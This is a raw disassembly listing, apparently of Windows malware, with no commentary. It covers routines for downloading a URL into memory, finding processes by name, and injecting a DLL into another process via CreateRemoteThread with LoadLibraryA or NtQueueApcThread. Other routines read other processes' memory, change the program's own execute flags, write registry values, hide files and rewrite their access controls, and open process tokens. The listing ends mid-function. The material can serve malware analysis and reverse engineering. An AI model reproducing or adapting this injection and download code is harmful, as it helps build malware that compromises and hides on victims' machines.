sub_9ABAC6 proc near ; CODE XREF: sub_9A9580+5Ep
; sub_9AC476+5Ep ...
szAgent = byte ptr -420h
var_20 = dword ptr -20h
dwIndex = dword ptr -1Ch
hInternet = dword ptr -18h
Buffer = dword ptr -14h
hFile = dword ptr -10h
dwNumberOfBytesRead= dword ptr -0Ch
dwBufferLength = dword ptr -8
var_4 = dword ptr -4
lpszUrl = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 420h
mov eax, [ebp+arg_4]
and dword ptr [eax], 0
push ebx
push esi
push edi
lea eax, [ebp+dwBufferLength]
push eax ; cbSize
lea eax, [ebp+szAgent]
push eax ; pszUAOut
push 0 ; dwOption
mov [ebp+dwBufferLength], 400h
call ObtainUserAgentString
mov esi, 10000h
push esi ; dwBytes
push 40h ; uFlags
mov ebx, esi
call GlobalAlloc
mov edi, eax
xor eax, eax
cmp edi, eax
jz loc_9ABC08
xor ecx, ecx
cmp [ebp+arg_8], eax
push eax ; dwFlags
setnz cl
push eax ; lpszProxyBypass
push eax ; lpszProxy
lea eax, [ebp+szAgent]
push ecx ; dwAccessType
push eax ; lpszAgent
call InternetOpenA
test eax, eax
mov [ebp+hInternet], eax
jz loc_9ABC08
xor eax, eax
push eax ; dwContext
push 84080300h ; dwFlags
push eax ; dwHeadersLength
push eax ; lpszHeaders
push [ebp+lpszUrl] ; lpszUrl
push [ebp+hInternet] ; hInternet
call InternetOpenUrlA
test eax, eax
mov [ebp+hFile], eax
jz loc_9ABBFF
and [ebp+dwIndex], 0
lea ecx, [ebp+dwIndex]
push ecx ; lpdwIndex
lea ecx, [ebp+dwBufferLength]
push ecx ; lpdwBufferLength
lea ecx, [ebp+Buffer]
push ecx ; lpBuffer
push 20000013h ; dwInfoLevel
push eax ; hRequest
mov [ebp+Buffer], 1F4h
mov [ebp+dwBufferLength], 4
call HttpQueryInfoA
test eax, eax
jz short loc_9ABBF6
cmp [ebp+Buffer], 0C8h
jnz short loc_9ABBF6
and [ebp+dwNumberOfBytesRead], 0
and [ebp+var_4], 0
lea eax, [ebp+dwNumberOfBytesRead]
push eax
push esi
push edi
jmp short loc_9ABBE1
; ---------------------------------------------------------------------------
loc_9ABB99: ; CODE XREF: sub_9ABAC6+126j
mov eax, [ebp+dwNumberOfBytesRead]
test eax, eax
jz short loc_9ABBEE
add [ebp+var_4], eax
cmp [ebp+var_4], ebx
jnz short loc_9ABBD2
lea esi, [ebx+ebx]
push esi ; dwBytes
push 40h ; uFlags
call GlobalAlloc
test eax, eax
mov [ebp+var_20], eax
jz short loc_9ABBEE
push ebx ; Size
push edi ; Src
push eax ; Dst
call memcpy
add esp, 0Ch
push edi ; hMem
call GlobalFree
mov edi, [ebp+var_20]
mov ebx, esi
loc_9ABBD2: ; CODE XREF: sub_9ABAC6+E0j
lea eax, [ebp+dwNumberOfBytesRead]
push eax ; lpdwNumberOfBytesRead
mov eax, [ebp+var_4]
mov ecx, ebx
sub ecx, eax
push ecx ; dwNumberOfBytesToRead
add eax, edi
push eax ; lpBuffer
loc_9ABBE1: ; CODE XREF: sub_9ABAC6+D1j
push [ebp+hFile] ; hFile
call InternetReadFile
test eax, eax
jnz short loc_9ABB99
loc_9ABBEE: ; CODE XREF: sub_9ABAC6+D8j
; sub_9ABAC6+F3j
mov eax, [ebp+var_4]
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_9ABBF6: ; CODE XREF: sub_9ABAC6+B8j
; sub_9ABAC6+C1j
push [ebp+hFile] ; hInternet
call InternetCloseHandle
loc_9ABBFF: ; CODE XREF: sub_9ABAC6+86j
push [ebp+hInternet] ; hInternet
call InternetCloseHandle
loc_9ABC08: ; CODE XREF: sub_9ABAC6+41j
; sub_9ABAC6+65j
mov eax, [ebp+arg_4]
cmp dword ptr [eax], 0
jnz short loc_9ABC1D
test edi, edi
jz short loc_9ABC1D
push edi ; hMem
call GlobalFree
xor edi, edi
loc_9ABC1D: ; CODE XREF: sub_9ABAC6+148j
; sub_9ABAC6+14Cj
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_9ABAC6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9ABC24(char *Str2)
sub_9ABC24 proc near ; CODE XREF: sub_9A74E1+2Ap
; sub_9AA5A0+8p ...
pe = PROCESSENTRY32 ptr -128h
Str2 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 128h
push ebx
push esi
xor ebx, ebx
push ebx ; th32ProcessID
push 2 ; dwFlags
call CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_9ABC9E
push edi
push 49h
pop ecx
xor eax, eax
mov [ebp+pe.dwSize], 128h
lea edi, [ebp+pe.cntUsage]
rep stosd
lea eax, [ebp+pe]
push eax ; lppe
push esi ; hSnapshot
call Process32First
pop edi
jmp short loc_9ABC8B
; ---------------------------------------------------------------------------
loc_9ABC68: ; CODE XREF: sub_9ABC24+69j
push [ebp+Str2] ; Str2
lea eax, [ebp+pe.szExeFile]
push eax ; Str1
call _stricmp
test eax, eax
pop ecx
pop ecx
jz short loc_9ABC91
lea eax, [ebp+pe]
push eax ; lppe
push esi ; hSnapshot
call Process32Next
loc_9ABC8B: ; CODE XREF: sub_9ABC24+42j
test eax, eax
jnz short loc_9ABC68
jmp short loc_9ABC97
; ---------------------------------------------------------------------------
loc_9ABC91: ; CODE XREF: sub_9ABC24+58j
mov ebx, [ebp+pe.th32ProcessID]
loc_9ABC97: ; CODE XREF: sub_9ABC24+6Bj
push esi ; hObject
call CloseHandle
loc_9ABC9E: ; CODE XREF: sub_9ABC24+1Aj
pop esi
mov eax, ebx
pop ebx
leave
retn
sub_9ABC24 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9ABCA4(DWORD dwProcessId, char *lpBuffer)
sub_9ABCA4 proc near ; CODE XREF: sub_9A74E1+1Ap
; sub_9A74E1+36p ...
te = THREADENTRY32 ptr -3Ch
ThreadId = dword ptr -20h
NumberOfBytesWritten= dword ptr -1Ch
var_18 = dword ptr -18h
hProcess = dword ptr -14h
hObject = dword ptr -10h
lpStartAddress = dword ptr -0Ch
lpParameter = dword ptr -8
var_4 = dword ptr -4
dwProcessId = dword ptr 8
lpBuffer = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 3Ch
push esi
push edi
push [ebp+lpBuffer] ; Str
xor edi, edi
mov [ebp+var_4], edi
call strlen
pop ecx
push [ebp+dwProcessId] ; dwProcessId
mov esi, eax
push edi ; bInheritHandle
push 2Ah ; dwDesiredAccess
inc esi
call OpenProcess
cmp eax, edi
mov [ebp+hProcess], eax
jz loc_9ABE39
push 40h ; flProtect
push 3000h ; flAllocationType
lea ecx, [esi+20h]
push ecx ; dwSize
push edi ; lpAddress
push eax ; hProcess
call VirtualAllocEx
cmp eax, edi
mov [ebp+lpParameter], eax
jz loc_9ABE1F
mov edi, GetModuleHandleA
push ebx
push offset ProcName ; "LoadLibraryA"
push offset aKernel32_dll ; "kernel32.dll"
call edi ; GetModuleHandleA
mov ebx, GetProcAddress
push eax ; hModule
call ebx ; GetProcAddress
mov [ebp+lpStartAddress], eax
lea eax, [ebp+NumberOfBytesWritten]
push eax ; lpNumberOfBytesWritten
inc esi
push esi ; nSize
push [ebp+lpBuffer] ; lpBuffer
push [ebp+lpParameter] ; lpBaseAddress
push [ebp+hProcess] ; hProcess
call WriteProcessMemory
test eax, eax
jz loc_9ABE1E
lea eax, [ebp+ThreadId]
push eax ; lpThreadId
xor esi, esi
push esi ; dwCreationFlags
push [ebp+lpParameter] ; lpParameter
push [ebp+lpStartAddress] ; lpStartAddress
push esi ; dwStackSize
push esi ; lpThreadAttributes
push [ebp+hProcess] ; hProcess
call CreateRemoteThread
cmp eax, esi
jz short loc_9ABD57
mov [ebp+var_4], 1
push eax
jmp loc_9ABE18
; ---------------------------------------------------------------------------
loc_9ABD57: ; CODE XREF: sub_9ABCA4+A4j
push offset aNtqueueapcthre ; "NtQueueApcThread"
push offset aNtdll_dll ; "ntdll.dll"
call edi ; GetModuleHandleA
push eax ; hModule
call ebx ; GetProcAddress
cmp eax, esi
mov [ebp+var_18], eax
jz loc_9ABE1E
push offset aLoadlibraryexa ; "LoadLibraryExA"
push offset aKernel32_dll ; "kernel32.dll"
call edi ; GetModuleHandleA
push eax ; hModule
call ebx ; GetProcAddress
push 0 ; th32ProcessID
push 4 ; dwFlags
mov [ebp+lpStartAddress], eax
call CreateToolhelp32Snapshot
cmp eax, 0FFFFFFFFh
mov [ebp+hObject], eax
jz loc_9ABE1E
push 6
pop ecx
xor eax, eax
lea edi, [ebp+te.cntUsage]
rep stosd
lea eax, [ebp+te]
push eax ; lpte
push [ebp+hObject] ; hSnapshot
mov [ebp+te.dwSize], 1Ch
call Thread32First
jmp short loc_9ABE11
; ---------------------------------------------------------------------------
loc_9ABDB7: ; CODE XREF: sub_9ABCA4+16Fj
mov eax, [ebp+dwProcessId]
cmp eax, [ebp+te.th32OwnerProcessID]
jnz short loc_9ABE05
push [ebp+te.th32ThreadID] ; dwThreadId
xor esi, esi
push esi ; bInheritHandle
push 10h ; dwDesiredAccess
call OpenThread
mov ebx, eax
cmp ebx, esi
jz short loc_9ABE05
push esi
push esi
push [ebp+lpParameter]
push [ebp+lpStartAddress]
push ebx
call [ebp+var_18]
push ebx ; hObject
mov edi, eax
call CloseHandle
push edi
push [ebp+te.th32ThreadID]
push offset aThread08xStatu ; "thread: %08x, status: %08x\n"
call printf
add esp, 0Ch
cmp edi, esi
jl short loc_9ABE05
mov [ebp+var_4], 1
loc_9ABE05: ; CODE XREF: sub_9ABCA4+119j
; sub_9ABCA4+12Dj ...
lea eax, [ebp+te]
push eax ; lpte
push [ebp+hObject] ; hSnapshot
call Thread32Next
loc_9ABE11: ; CODE XREF: sub_9ABCA4+111j
test eax, eax
jnz short loc_9ABDB7
push [ebp+hObject] ; hObject
loc_9ABE18: ; CODE XREF: sub_9ABCA4+AEj
call CloseHandle
loc_9ABE1E: ; CODE XREF: sub_9ABCA4+84j
; sub_9ABCA4+C7j ...
pop ebx
loc_9ABE1F: ; CODE XREF: sub_9ABCA4+48j
push [ebp+hProcess] ; hObject
call CloseHandle
cmp [ebp+var_4], 0
jz short loc_9ABE39
push 5DCh ; dwMilliseconds
call Sleep
loc_9ABE39: ; CODE XREF: sub_9ABCA4+2Aj
; sub_9ABCA4+188j
mov eax, [ebp+var_4]
pop edi
pop esi
leave
retn
sub_9ABCA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=6Ch
sub_9ABE40 proc near ; CODE XREF: sub_9ABECA+61p
Buffer = byte ptr -8Ch
var_7C = dword ptr -7Ch
Src = byte ptr -4Ch
Dst = word ptr -0Ch
var_8 = dword ptr -8
NumberOfBytesRead= dword ptr -4
hProcess = dword ptr 8
lpBaseAddress = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
lea ebp, [esp-6Ch]
sub esp, 8Ch
push esi
mov esi, ReadProcessMemory
push edi
lea eax, [ebp+6Ch+NumberOfBytesRead]
push eax ; lpNumberOfBytesRead
mov edi, 80h
push edi ; nSize
lea eax, [ebp+6Ch+Buffer]
push eax ; lpBuffer
push [ebp+6Ch+lpBaseAddress] ; lpBaseAddress
push [ebp+6Ch+hProcess] ; hProcess
call esi ; ReadProcessMemory
test eax, eax
jnz short loc_9ABE71
loc_9ABE6D: ; CODE XREF: sub_9ABE40+44j
; sub_9ABE40+64j
xor eax, eax
jmp short loc_9ABEC3
; ---------------------------------------------------------------------------
loc_9ABE71: ; CODE XREF: sub_9ABE40+2Bj
lea eax, [ebp+6Ch+NumberOfBytesRead]
push eax ; lpNumberOfBytesRead
push edi ; nSize
lea eax, [ebp+6Ch+Buffer]
push eax ; lpBuffer
push [ebp+6Ch+var_7C] ; lpBaseAddress
push [ebp+6Ch+hProcess] ; hProcess
call esi ; ReadProcessMemory
test eax, eax
jz short loc_9ABE6D
push 8 ; Size
lea eax, [ebp+6Ch+Src]
push eax ; Src
lea eax, [ebp+6Ch+Dst]
push eax ; Dst
call memcpy
movzx eax, [ebp+6Ch+Dst]
mov ecx, [ebp+6Ch+arg_8]
add esp, 0Ch
shr eax, 1
dec ecx
cmp ecx, eax
jb short loc_9ABE6D
and word ptr [ebx+eax*2], 0
lea eax, [ebp+6Ch+NumberOfBytesRead]
push eax ; lpNumberOfBytesRead
movzx eax, [ebp+6Ch+Dst]
push eax ; nSize
push ebx ; lpBuffer
push [ebp+6Ch+var_8] ; lpBaseAddress
push [ebp+6Ch+hProcess] ; hProcess
call esi ; ReadProcessMemory
neg eax
sbb eax, eax
neg eax
loc_9ABEC3: ; CODE XREF: sub_9ABE40+2Fj
pop edi
pop esi
add ebp, 6Ch
leave
retn
sub_9ABE40 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9ABECA(DWORD dwProcessId, int, int)
sub_9ABECA proc near ; CODE XREF: sub_9ABF43+71p
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_4 = byte ptr -4
dwProcessId = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
push offset aNtqueryinforma ; "NtQueryInformationProcess"
push offset aNtdll_dll ; "ntdll.dll"
call GetModuleHandleA
push eax ; hModule
call GetProcAddress
mov ebx, eax
xor edi, edi
cmp ebx, edi
jnz short loc_9ABEF5
xor eax, eax
jmp short loc_9ABF3F
; ---------------------------------------------------------------------------
loc_9ABEF5: ; CODE XREF: sub_9ABECA+25j
push esi
push [ebp+dwProcessId] ; dwProcessId
push edi ; bInheritHandle
push 410h ; dwDesiredAccess
call OpenProcess
mov esi, eax
cmp esi, edi
jnz short loc_9ABF0F
xor eax, eax
jmp short loc_9ABF3E
; ---------------------------------------------------------------------------
loc_9ABF0F: ; CODE XREF: sub_9ABECA+3Fj
lea eax, [ebp+var_4]
push eax
push 18h
lea eax, [ebp+var_1C]
push eax
push edi
push esi
call ebx
test eax, eax
jl short loc_9ABF35
push [ebp+arg_8]
mov ebx, [ebp+arg_4]
push [ebp+var_18]
push esi
call sub_9ABE40
add esp, 0Ch
mov edi, eax
loc_9ABF35: ; CODE XREF: sub_9ABECA+55j
push esi ; hObject
call CloseHandle
mov eax, edi
loc_9ABF3E: ; CODE XREF: sub_9ABECA+43j
pop esi
loc_9ABF3F: ; CODE XREF: sub_9ABECA+29j
pop edi
pop ebx
leave
retn
sub_9ABECA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9ABF43(LPCWSTR lpSrch)
sub_9ABF43 proc near ; CODE XREF: sub_9A74E1+9p
; sub_9AA56C+8p
First = word ptr -330h
var_32E = byte ptr -32Eh
pe = PROCESSENTRY32 ptr -128h
lpSrch = dword ptr 8
push ebp
mov ebp, esp
sub esp, 330h
push ebx
push esi
xor ebx, ebx
push ebx ; th32ProcessID
push 2 ; dwFlags
call CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_9ABFF5
push edi
push 49h
pop ecx
xor eax, eax
mov [ebp+pe.dwSize], 128h
lea edi, [ebp+pe.cntUsage]
rep stosd
lea eax, [ebp+pe]
push eax ; lppe
push esi ; hSnapshot
call Process32First
jmp short loc_9ABFE1
; ---------------------------------------------------------------------------
loc_9ABF8A: ; CODE XREF: sub_9ABF43+A0j
xor eax, eax
mov [ebp+First], bx
mov ecx, 81h
lea edi, [ebp+var_32E]
rep stosd
stosw
push 104h ; int
lea eax, [ebp+First]
push eax ; int
push [ebp+pe.th32ProcessID] ; dwProcessId
call sub_9ABECA
add esp, 0Ch
test eax, eax
jz short loc_9ABFD4
push [ebp+lpSrch] ; lpSrch
lea eax, [ebp+First]
push eax ; lpFirst
call StrStrIW
test eax, eax
jnz short loc_9ABFE7
loc_9ABFD4: ; CODE XREF: sub_9ABF43+7Bj
lea eax, [ebp+pe]
push eax ; lppe
push esi ; hSnapshot
call Process32Next
loc_9ABFE1: ; CODE XREF: sub_9ABF43+45j
test eax, eax
jnz short loc_9ABF8A
jmp short loc_9ABFED
; ---------------------------------------------------------------------------
loc_9ABFE7: ; CODE XREF: sub_9ABF43+8Fj
mov ebx, [ebp+pe.th32ProcessID]
loc_9ABFED: ; CODE XREF: sub_9ABF43+A2j
push esi ; hObject
call CloseHandle
pop edi
loc_9ABFF5: ; CODE XREF: sub_9ABF43+1Aj
pop esi
mov eax, ebx
pop ebx
leave
retn
sub_9ABF43 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9ABFFB proc near ; CODE XREF: sub_9A799E+24p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, GetModuleHandleA
push edi
push offset aNtqueryinforma ; "NtQueryInformationProcess"
mov ebx, offset aNtdll_dll ; "ntdll.dll"
push ebx ; lpModuleName
call esi ; GetModuleHandleA
mov edi, GetProcAddress
push eax ; hModule
call edi ; GetProcAddress
push offset aNtsetinformati ; "NtSetInformationProcess"
push ebx ; lpModuleName
mov [ebp+var_8], eax
call esi ; GetModuleHandleA
push eax ; hModule
call edi ; GetProcAddress
mov esi, eax
xor eax, eax
cmp [ebp+var_8], eax
jz short loc_9AC05F
cmp esi, eax
jz short loc_9AC05F
push eax
push 4
mov [ebp+var_4], eax
lea eax, [ebp+var_4]
push eax
push 22h
push 0FFFFFFFFh
call [ebp+var_8]
test eax, eax
jl short loc_9AC05F
or [ebp+var_4], 70h
push 4
lea eax, [ebp+var_4]
push eax
push 22h
push 0FFFFFFFFh
call esi
loc_9AC05F: ; CODE XREF: sub_9ABFFB+39j
; sub_9ABFFB+3Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_9ABFFB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AC064(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, BYTE *lpData, DWORD cbData, DWORD dwType)
sub_9AC064 proc near ; CODE XREF: sub_9AC0F9+15p
phkResult = dword ptr -4
hKey = dword ptr 8
lpSubKey = dword ptr 0Ch
lpValueName = dword ptr 10h
lpData = dword ptr 14h
cbData = dword ptr 18h
dwType = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp+phkResult]
push eax ; phkResult
push 20006h ; samDesired
xor esi, esi
push esi ; ulOptions
push [ebp+lpSubKey] ; lpSubKey
push [ebp+hKey] ; hKey
call RegOpenKeyExA
test eax, eax
jnz short loc_9AC0A9
push [ebp+cbData] ; cbData
push [ebp+lpData] ; lpData
push [ebp+dwType] ; dwType
push esi ; Reserved
push [ebp+lpValueName] ; lpValueName
push [ebp+phkResult] ; hKey
call RegSetValueExA
test eax, eax
jnz short loc_9AC0A0
inc esi
loc_9AC0A0: ; CODE XREF: sub_9AC064+39j
push [ebp+phkResult] ; hKey
call RegCloseKey
loc_9AC0A9: ; CODE XREF: sub_9AC064+1Fj
mov eax, esi
pop esi
leave
retn
sub_9AC064 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AC0AE(int, LPCSTR lpSubKey, LPCSTR lpValueName, LPBYTE lpData, DWORD cbData)
sub_9AC0AE proc near ; CODE XREF: sub_9AC117+12p
hKey = dword ptr -4
lpSubKey = dword ptr 0Ch
lpValueName = dword ptr 10h
lpData = dword ptr 14h
cbData = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp+hKey]
push eax ; phkResult
push 20019h ; samDesired
xor esi, esi
push esi ; ulOptions
push [ebp+lpSubKey] ; lpSubKey
push 80000002h ; hKey
call RegOpenKeyExA
test eax, eax
jnz short loc_9AC0F4
lea eax, [ebp+cbData]
push eax ; lpcbData
push [ebp+lpData] ; lpData
push esi ; lpType
push esi ; lpReserved
push [ebp+lpValueName] ; lpValueName
push [ebp+hKey] ; hKey
call RegQueryValueExA
test eax, eax
jnz short loc_9AC0EB
inc esi
loc_9AC0EB: ; CODE XREF: sub_9AC0AE+3Aj
push [ebp+hKey] ; hKey
call RegCloseKey
loc_9AC0F4: ; CODE XREF: sub_9AC0AE+21j
mov eax, esi
pop esi
leave
retn
sub_9AC0AE endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9AC0F9(HKEY hKey, LPCSTR lpSubKey, LPCSTR lpValueName, BYTE Data)
sub_9AC0F9 proc near ; CODE XREF: sub_9A7170+82p
; sub_9A81C3+17p ...
hKey = dword ptr 4
lpSubKey = dword ptr 8
lpValueName = dword ptr 0Ch
Data = byte ptr 10h
push 4 ; dwType
push 4 ; cbData
lea eax, [esp+8+Data]
push eax ; lpData
push [esp+0Ch+lpValueName] ; lpValueName
push [esp+10h+lpSubKey] ; lpSubKey
push [esp+14h+hKey] ; hKey
call sub_9AC064
add esp, 18h
retn
sub_9AC0F9 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9AC117(int, LPCSTR lpSubKey, LPCSTR lpValueName, LPBYTE lpData)
sub_9AC117 proc near ; CODE XREF: sub_9A7170+5Fp
; sub_9A81F5+24p ...
arg_0 = dword ptr 4
lpSubKey = dword ptr 8
lpValueName = dword ptr 0Ch
lpData = dword ptr 10h
push 4 ; cbData
push [esp+4+lpData] ; lpData
push [esp+8+lpValueName] ; lpValueName
push [esp+0Ch+lpSubKey] ; lpSubKey
push [esp+10h+arg_0] ; int
call sub_9AC0AE
add esp, 14h
retn
sub_9AC117 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9AC132(LPCSTR lpFileName, int)
sub_9AC132 proc near ; CODE XREF: sub_9AABA4+32Ep
; sub_9AC163+2Ep ...
lpFileName = dword ptr 4
arg_4 = dword ptr 8
push [esp+lpFileName] ; lpFileName
call GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short locret_9AC162
cmp [esp+arg_4], 0
jz short loc_9AC152
test al, 1
jz short locret_9AC162
and eax, 26h
push eax
jmp short loc_9AC158
; ---------------------------------------------------------------------------
loc_9AC152: ; CODE XREF: sub_9AC132+14j
test al, 1
jnz short locret_9AC162
push 7 ; dwFileAttributes
loc_9AC158: ; CODE XREF: sub_9AC132+1Ej
push [esp+4+lpFileName] ; lpFileName
call SetFileAttributesA
locret_9AC162: ; CODE XREF: sub_9AC132+Dj
; sub_9AC132+18j ...
retn
sub_9AC132 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AC163(LPCSTR lpFileName, int)
sub_9AC163 proc near ; CODE XREF: sub_9A752A+6Bp
; sub_9A7670+26p ...
pSecurityDescriptor= byte ptr -44h
pIdentifierAuthority= _SID_IDENTIFIER_AUTHORITY ptr -30h
nAclLength = dword ptr -28h
var_24 = dword ptr -24h
pSid = dword ptr -20h
hMem = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
lpFileName = dword ptr 8
arg_4 = dword ptr 0Ch
push 34h
push offset stru_9A4478
call __SEH_prolog
xor ebx, ebx
mov [ebp+var_24], ebx
mov [ebp+hMem], ebx
mov [ebp+pSid], ebx
mov [ebp+ms_exc.disabled], ebx
mov edi, [ebp+arg_4]
mov eax, edi
mov esi, 120116h
and eax, esi
cmp eax, esi
jz short loc_9AC198
push ebx ; int
push [ebp+lpFileName] ; lpFileName
call sub_9AC132
pop ecx
pop ecx
loc_9AC198: ; CODE XREF: sub_9AC163+28j
mov [ebp+pIdentifierAuthority.Value], bl
mov [ebp+pIdentifierAuthority.Value+1], bl
mov [ebp+pIdentifierAuthority.Value+2], bl
mov [ebp+pIdentifierAuthority.Value+3], bl
mov [ebp+pIdentifierAuthority.Value+4], bl
mov [ebp+pIdentifierAuthority.Value+5], 1
push 1 ; dwRevision
lea eax, [ebp+pSecurityDescriptor]
push eax ; pSecurityDescriptor
call InitializeSecurityDescriptor
lea eax, [ebp+pSid]
push eax ; pSid
push ebx ; nSubAuthority7
push ebx ; nSubAuthority6
push ebx ; nSubAuthority5
push ebx ; nSubAuthority4
push ebx ; nSubAuthority3
push ebx ; nSubAuthority2
push ebx ; nSubAuthority1
push ebx ; nSubAuthority0
push 1 ; nSubAuthorityCount
lea eax, [ebp+pIdentifierAuthority]
push eax ; pIdentifierAuthority
call AllocateAndInitializeSid
push [ebp+pSid] ; pSid
call GetLengthSid
add eax, 10h
mov [ebp+nAclLength], eax
push eax ; dwBytes
push 40h ; uFlags
call GlobalAlloc
mov [ebp+hMem], eax
cmp eax, ebx
jz short loc_9AC246
or edi, 100000h
mov [ebp+arg_4], edi
push 2 ; dwAclRevision
push [ebp+nAclLength] ; nAclLength
push eax ; pAcl
call InitializeAcl
push [ebp+pSid] ; pSid
push edi ; AccessMask
push 2 ; dwAceRevision
push [ebp+hMem] ; pAcl
call AddAccessAllowedAce
push ebx ; bDaclDefaulted
push [ebp+hMem] ; pDacl
push 1 ; bDaclPresent
lea eax, [ebp+pSecurityDescriptor]
push eax ; pSecurityDescriptor
call SetSecurityDescriptorDacl
lea eax, [ebp+pSecurityDescriptor]
push eax ; pSecurityDescriptor
push 4 ; SecurityInformation
push [ebp+lpFileName] ; lpFileName
call SetFileSecurityA
mov [ebp+var_24], eax
and edi, esi
cmp edi, esi
jnz short loc_9AC246
push 1 ; int
push [ebp+lpFileName] ; lpFileName
call sub_9AC132
pop ecx
pop ecx
loc_9AC246: ; CODE XREF: sub_9AC163+89j
; sub_9AC163+D5j
or [ebp+ms_exc.disabled], 0FFFFFFFFh
jmp short loc_9AC259
; ---------------------------------------------------------------------------
loc_9AC24C: ; DATA XREF: .text:stru_9A4478o
xor eax, eax
inc eax
retn
; ---------------------------------------------------------------------------
loc_9AC250: ; DATA XREF: .text:stru_9A4478o
mov esp, [ebp+ms_exc.old_esp]
or [ebp+ms_exc.disabled], 0FFFFFFFFh
xor ebx, ebx
loc_9AC259: ; CODE XREF: sub_9AC163+E7j
cmp [ebp+hMem], ebx
jz short loc_9AC267
push [ebp+hMem] ; hMem
call GlobalFree
loc_9AC267: ; CODE XREF: sub_9AC163+F9j
cmp [ebp+pSid], ebx
jz short loc_9AC275
push [ebp+pSid] ; pSid
call FreeSid
loc_9AC275: ; CODE XREF: sub_9AC163+107j
mov eax, [ebp+var_24]
call __SEH_epilog
retn
sub_9AC163 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_9AC27E(char *Source, char *Str)
sub_9AC27E proc near ; CODE XREF: sub_9A722A+31p
Source = dword ptr 4
Str = dword ptr 8
push esi
push [esp+4+Source] ; Source
mov esi, [esp+8+Str]
push esi ; Dest
call strcpy
push 5Ch ; Ch
push esi ; Str
call strrchr
add esp, 10h
test eax, eax
jz short loc_9AC2A2
mov byte ptr [eax], 0
pop esi
retn
; ---------------------------------------------------------------------------
loc_9AC2A2: ; CODE XREF: sub_9AC27E+1Dj
push esi ; lpBuffer
push 104h ; nBufferLength
call GetCurrentDirectoryA
push esi ; Str
call strlen
cmp byte ptr [eax+esi-1], 5Ch
pop ecx
jnz short loc_9AC2C8
push esi ; Str
call strlen
pop ecx
mov byte ptr [eax+esi-1], 0
loc_9AC2C8: ; CODE XREF: sub_9AC27E+3Cj
pop esi
retn
sub_9AC27E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_9AC2CA(LPSTR lpCommandLine, int)
sub_9AC2CA proc near ; CODE XREF: sub_9A752A+137p
; sub_9AB1F2+C4p ...
StartupInfo = _STARTUPINFOA ptr -54h
ProcessInformation= _PROCESS_INFORMATION ptr -10h
lpCommandLine = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 54h
push esi
push edi
xor edx, edx
xor eax, eax
mov [ebp+ProcessInformation.hProcess], edx
push 10h
lea edi, [ebp+ProcessInformation.hThread]
stosd
stosd
stosd
pop ecx
xor eax, eax
mov [ebp+StartupInfo.cb], 44h
lea edi, [ebp+StartupInfo.lpReserved]
rep stosd
mov eax, [ebp+arg_4]
xor edi, edi
inc edi
xor esi, esi
neg eax
sbb eax, eax
and eax, 5
mov [ebp+StartupInfo.wShowWindow], ax
lea eax, [ebp+ProcessInformation]
push eax ; lpProcessInformation
lea eax, [ebp+StartupInfo]
push eax ; lpStartupInfo
push edx ; lpCurrentDirectory
push edx ; lpEnvironment
push edx ; dwCreationFlags
push edx ; bInheritHandles
push edx ; lpThreadAttributes
push edx ; lpProcessAttributes
push [ebp+lpCommandLine] ; lpCommandLine
mov [ebp+StartupInfo.dwFlags], edi
push edx ; lpApplicationName
call CreateProcessA
test eax, eax
jz short loc_9AC334
push [ebp+ProcessInformation.hProcess] ; hObject
mov esi, CloseHandle
call esi ; CloseHandle
push [ebp+ProcessInformation.hThread] ; hObject
call esi ; CloseHandle
mov esi, edi
loc_9AC334: ; CODE XREF: sub_9AC2CA+56j
pop edi
mov eax, esi
pop esi
leave
retn
sub_9AC2CA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_9AC33A proc near ; CODE XREF: sub_9A8949+6p
; sub_9AABA4+20p
hObject = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
push offset dword_9A14A0 ; Str2
xor ebx, ebx
call sub_9ABC24
cmp eax, ebx
pop ecx
jz short loc_9AC391
push edi
push eax ; dwProcessId
push ebx ; bInheritHandle
push 410h ; dwDesiredAccess
call OpenProcess
mov edi, eax
cmp edi, ebx
jz short loc_9AC390
push esi
lea eax, [ebp+hObject]
push eax ; TokenHandle
push 0Eh ; DesiredAccess
push edi ; ProcessHandle
call OpenProcessToken
test eax, eax
mov esi, CloseHandle
jz short loc_9AC38C
push [ebp+hObject] ; hToken
